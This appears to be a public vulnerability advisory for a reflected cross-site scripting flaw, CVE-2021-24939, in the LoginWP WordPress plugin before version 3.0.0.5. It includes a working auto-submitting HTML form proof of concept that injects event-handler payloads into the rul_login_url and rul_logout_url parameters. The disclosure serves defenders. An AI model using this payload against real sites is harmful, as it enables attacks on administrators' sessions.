LoginWP < 3.0.0.5 – Reflected Cross-Site Scripting | CVE 2021-24939 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the rul_login_url and rul_logout_url parameter before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=loginwp-redirections&new=1" id="hack" method="POST">
      <input type="hidden" name="rul_login_url" value='" style=animation-name:rotation onanimationstart=alert(/XSS-login_url/)//' />
      <input type="hidden" name="rul_logout_url" value='" style=animation-name:rotation onanimationstart=alert(/XSS-logout_url/)//' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

Affects Plugins

peters-login-redirect

Fixed in 3.0.0.5

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of Wuhan University

Submitter

ZhongFu Su(JrXnm) of Wuhan University

Submitter website

https://blog.szfszf.top

Submitter twitter

Verified

Yes

WPVDB ID

1a46cfec-24ad-4619-8579-f09bbd8ee748

Timeline

Publicly Published

2021-11-08 (about 4 years ago)

Added

2021-11-08 (about 4 years ago)

Last Updated

2022-09-26 (about 3 years ago)

Other

Published

Title

Published

2023-06-23

Title

Lana Text to Image < 1.1.0 - Contributor+ Stored Cross-Site Scripting

Published

2025-06-05

Title

Simple Membership < 4.6.4 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2024-01-19

Title

WPForms Pro < 1.8.5.4 - Unauthenticated Stored Cross-Site Scripting via Form Submission

Published

2024-03-15

Title

ElementInvader Addons for Elementor < 1.2.3 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-08-16

Title

Icegram < 3.1.26 - Authenticated (Contributor+) Stored Cross-Site Scripting